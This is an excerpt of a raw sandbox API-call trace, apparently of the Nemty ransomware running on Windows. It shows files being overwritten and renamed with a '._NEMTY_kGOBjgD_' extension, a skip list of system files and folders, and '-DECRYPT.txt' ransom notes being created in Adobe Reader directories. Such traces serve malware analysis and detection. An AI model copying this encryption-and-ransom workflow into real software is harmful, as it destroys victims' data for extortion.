hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.349] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.359] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.359] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.359] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=239279, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a6af [0173.359] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.359] CloseHandle (hObject=0x3b0) returned 1 [0173.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0173.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0173.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.360] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html._nemty_kgobjgd_")) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.360] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af59250, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1af59250, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1af59250, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.360] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.360] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.360] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.361] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.361] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.362] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1af59250, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1af59250, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1af59250, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.362] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.362] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a776970, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0173.362] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0173.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0173.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0173.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0173.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0173.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0173.363] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.364] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a776970, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a776970, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a776970, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.364] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0173.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351d50 | out: hHeap=0x4f90000) returned 1 [0173.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0173.364] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Locale", cAlternateFileName="")) returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2=".") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="..") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="...") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="windows") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="$RECYCLE.BIN") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="rsa") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="NTDETECT.COM") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="ntldr") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="MSDOS.SYS") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="IO.SYS") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="boot.ini") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="boot.ini") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="AUTOEXEC.BAT") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="ntuser.dat") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="desktop.ini") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="CONFIG.SYS") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="RECYCLER") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="BOOTSECT.BAK") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="bootmgr") returned 1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="programdata") returned -1 [0173.364] lstrcmpiW (lpString1="Locale", lpString2="appdata") returned 1 [0173.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Locale", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Locale", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Locale", lpUsedDefaultChar=0x0) returned 6 [0173.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Locale", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Locale", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Locale", lpUsedDefaultChar=0x0) returned 6 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0173.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c60 | out: hHeap=0x4f90000) returned 1 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0173.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0173.365] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 